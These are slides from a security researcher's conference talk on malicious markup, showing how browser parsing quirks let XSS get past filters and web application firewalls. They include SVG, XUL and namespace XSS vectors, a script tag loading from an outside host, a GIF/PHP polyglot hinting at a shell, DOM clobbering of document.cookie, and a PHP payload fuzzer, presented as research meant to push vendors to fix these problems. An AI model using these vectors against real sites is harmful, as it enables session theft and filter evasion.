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Who am I

 CTO for Business-IN, New York/Cologne

 Total web-retard

 Inventor and head-dev of the PHPIDS

 Speaker on ph-neutral, OWASP Europe etc.

 Freelance Security Researcher and Consultant
 http://mario.heideri.ch
 http://twitter.com/0x6D6172696F

 Twitter comments and 

questions to #mmtalk

http://mario.heideri.ch/
http://twitter.com/0x6D6172696F
http://search.twitter.com/search?q=#mmtalk


  

Today's menu

 A short intro

 An overview on what happened in the last talks

 Several relevant example attacks

 Fuzzing results

 A call to reasonability



  

Why again?

 Again?

 This talk was held two times before

 In slight variations

 This is the last one

 And completely different



  

So?

 Malicious markup is way bigger than originally 
assumed

 Not only the tons of legacy issues

 But also the contemporary problems

 Fundamental misunderstandings 

 Wrong approaches



  

Overview over the recent talk 
versions

 Basically some tidying up with 

the browser self-disclosure

 A ton of exotic but working attack vectors

 The unholy multivector

 Excentric markup and Javascript

 Let's recapitulate



  

Inline SVG

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>

<image src="x" onerror="alert(1)"></image>



  

XML Namespaces

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>



  

XUL Artifacts

<html>
<xul:image
 onerror="alert(2)"
 src="x"
 
xmlns:xul="http://mozill...here.is.only.xul
"

/>
</html>

(http://mozilla.org/keymaster/gatekeeper/there.is.only.xul)



  

HTC via Image 1/2

<html>
<head>
<style>
    body {
        behavior: url(test.gif.htc);
    }
</style>
</head>
<body>
<h1>Yay, HTC!!! Oh wait...</h1>
</body>
</html>



  

HTC via Image 2/2

GIF89ad d ! Y, d d s� ���������� � ���� � �� �����
������������� � 扦 L  Ģ L*  J   ʁ��� ������� � � �̦ � � �
H  j  N  (8HXhx iX��� �� � �������� ���� ���������� �������� �

GIF89ad.d..........!.Y
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
.,....d.d...s..................H...........L...
.............L*......J......j............N.....
................(8HXhx.........iX..;



  

You trust your DOM?

 Say hello to DOM Redressing

 Ever tried to create a HTML element with an ID?

 For example #test?

 And then to alert(test)

 You should :)



  

IE goes a step further...

 You can also overwrite existing properties

 Like document

 Or location

 Or document.cookie

 Or document.body.innerHTML

 Phew!

 Fixed in IE8 RC1 – and some variants also in 
older versions



  

Let's see some code

<form id="document" cookie="foo">
<script>alert(document.cookie)</script>

<form id="location" href="bar">
<script>alert(location.href)</script>

<form id="document">
<select id="body">bar</select>
</form>
<script>alert(document.body.innerHTML)</script>



  

Multiwhat?

 Less than 300 Bytes

 Various formats
 CSS

 expression() CSS

 JavaScript

 HTML

 PHP

 Open directly

 …

 And still a valid GIF



  

Multivector anatomy



  

The testcase

<link rel="stylesheet" type="text/css" 
href="../.x.php"" /> ← color and IE expression

<?php include '../.x.php' ?> ← echo and possible shell

<img src="../.x"> ← image as is and XSS in IE

<script src="../.x.php""></script> ← XSS

<iframe src="../.x.php""></iframe> ← XSS via IFrame



  

The result



  

Opera 10 Font XSS

 Most recent browser betas and alphas support 
SVG fonts

 A way to have fonts be written in markup

 No binary TTF, FOT etc. monsters anymore

 And Javascript. In fonts. What??



  

An example...

This is a SVG font!
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
    "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3..0/svg" onload="alert(1)"></svg>

And this is some markup for Opera 10 – guess what happens :)
<html>
<head>
<style type="text/css">
@font-face {
  font-family: xss;
  src: url(test.svg#xss) format("svg");
}
body {font: 0px "xss"; }
</style>
</head>
</html>



  

So - finally some new stuff?

 Yep

 Let's make some WAF vendor eyes cry

 And have a look at surprising fuzzer results

 The work of several weeks 



  

Objective?

 Confusing user agents

 Finding rendering bugs

 Fooling parsers badly

 Executing JavaScript in impossible situations

 Did we succeed?

 Unfortunately yes!



  

How was it done?

 Looping 

 And even more looping

 Character generation

 Combination with all possibilities of markup

  Tags, attributes, JavaScript URIs, inline styles, 
entities and whatnot

 So far just UTF8

 Asian charsets were tested too - but well - that's 
worth another talk



  

Simple code example

    ...
    'valign',
    'value',
    'valuetype',
    'version',
    'vlink',
    'vspace',
    'width'
);
foreach($tags as $tag) {
    foreach($events as $event) {
        $payload = 'javascript:alert(/meta-'.$event.'/)';
        echo '<meta name="description" content="" ' 
        . $event . '="' . $payload . '" /> ';
        echo '<' . $tag . ' ' . $event . '="' 
        . $payload . '" /></'.$tag.'>';
    }
}
?>



  

Finally some results?

 Yes yes...

 Gathered in a Google Doc published today

 Here's a simplified URL

 http://j.mp/mm_talk

http://j.mp/mm_talk


  

Intermission kitteh!



  

Phew!

 Are we smarter know?

 Maybe - we know at least

  Markup doesn't neewd to follow any rules

  Since the user agents don't

  Unicode spaces, RTL/LTR characters, 
surrogates, etc.

 And what's it with the over weird quote 
handling?



  

Ah - charsets...

 Just a small thing... love your utf_decode()



  

Why is that?

 User agents are too tolerant

 Collateral damage from the browser wars?

 Existencial fear to break the web - or a small 
fragment of it?

 Browsers works against standards, a secure 
web and even logic



  

Let's have a look at FF

 The unclosed attribute bug was filed months 
ago

 D. Veditz: Not our bug!

 Me: What the... do you.. what..!?

 FF3.7 still does it!



  

What about IE?

 Still nullbytes are being stripped seemlessly

 It's been that way since 10+ years!

 PHP and others had to customize their functions

 Does your strip_tags() know that too? 

 Give me a break!



  

And Opera?

 What was the Opera Bugtracker URI again?

 Who parses the weirdest rubbish as working 
markup?

 Fragmented JavaScript URIs?

 Font XSS? Give me a yet another break!



  

Can we have a conclusion 
alright?

 Sure.

 Markup and blacklists - no deal

 Markup and whitelists - also almost no deal

 HTMLawed is broken, HTMLPurifier is broken too

 And we just saw the top of the iceberg

 So?

 Several things on the task list now!



  

Äctiøn!

 Stress the browser vendors

 Stress the WAF vendors

 Tickets, mails, blog posts

 Stress your developers to learn that stuff

 Give developers time to do security stuff



  

And most importantly

 Don't trust scanners blindly!

 Don't trust WAFs and scanners blindly!

 Still just tools – not solutions

 Nothing replaces an experienced tester

 Nothing replaces an experienced trainer 
mangling your devs for one week



  

Feeling secure now?

 It's probably up to you

 Just pay for a tool?

 Or for an expert - sharing knowledge

 Or maybe both (just to not get beat up after the talk)

 Try to write a mail to the scanner asking for 
help with an attack you never saw before :)



  

Thanks a lot!
And please don't beat me up as ususal, WAF guys



  

Appendix 1/2

 SVG Fonts http://www.w3.org/TR/SVG11/fonts.html#SVGFontsOverview

 SVG Maskshttp://www.w3.org/TR/SVG/masking.html

 Opera 10 http://www.opera.com/browser/next/

 WHATWG Blog http://blog.whatwg.org/

 HTML5 WHATWG Draft Recommendation 
http://www.whatwg.org/specs/web-apps/current-work/multipage/

 Data Islands http://www.w3schools.com/Xml/xml_dont.asp

 HTC Reference 
http://msdn.microsoft.com/en-us/library/ms531018%28VS.85%29.aspx

 Inline namespaces http://www.w3schools.com/XML/xml_namespaces.asp

http://www.w3.org/TR/SVG11/fonts.html#SVGFontsOverview
http://www.w3.org/TR/SVG/masking.html
http://www.opera.com/browser/next/
http://blog.whatwg.org/
http://www.whatwg.org/specs/web-apps/current-work/multipage/
http://www.w3schools.com/Xml/xml_dont.asp
http://msdn.microsoft.com/en-us/library/ms531018%28VS.85%29.aspx
http://www.w3schools.com/XML/xml_namespaces.asp


  

Appendix 2/2

 CSP http://people.mozilla.org/~bsterne/content-security-policy/

 ABE http://hackademix.net/2008/12/20/introducing-abe/

 Jail tag and more mashup security approaches 
http://www.openajax.org/member/wiki/Mashup_Security_Approaches

 The DTD patch http://pastebin.com/m98e1e87

 Gmail SVG fun http://pastebin.com/f1bbc1dd7

 Casper http://pastebin.com/m5a81b94d

 The multivector http://img210.imageshack.us/img210/4028/38956160.gif 

http://people.mozilla.org/~bsterne/content-security-policy/
http://hackademix.net/2008/12/20/introducing-abe/
http://www.openajax.org/member/wiki/Mashup_Security_Approaches
http://pastebin.com/m98e1e87
http://pastebin.com/f1bbc1dd7
http://pastebin.com/m5a81b94d
http://img210.imageshack.us/img210/4028/38956160.gif
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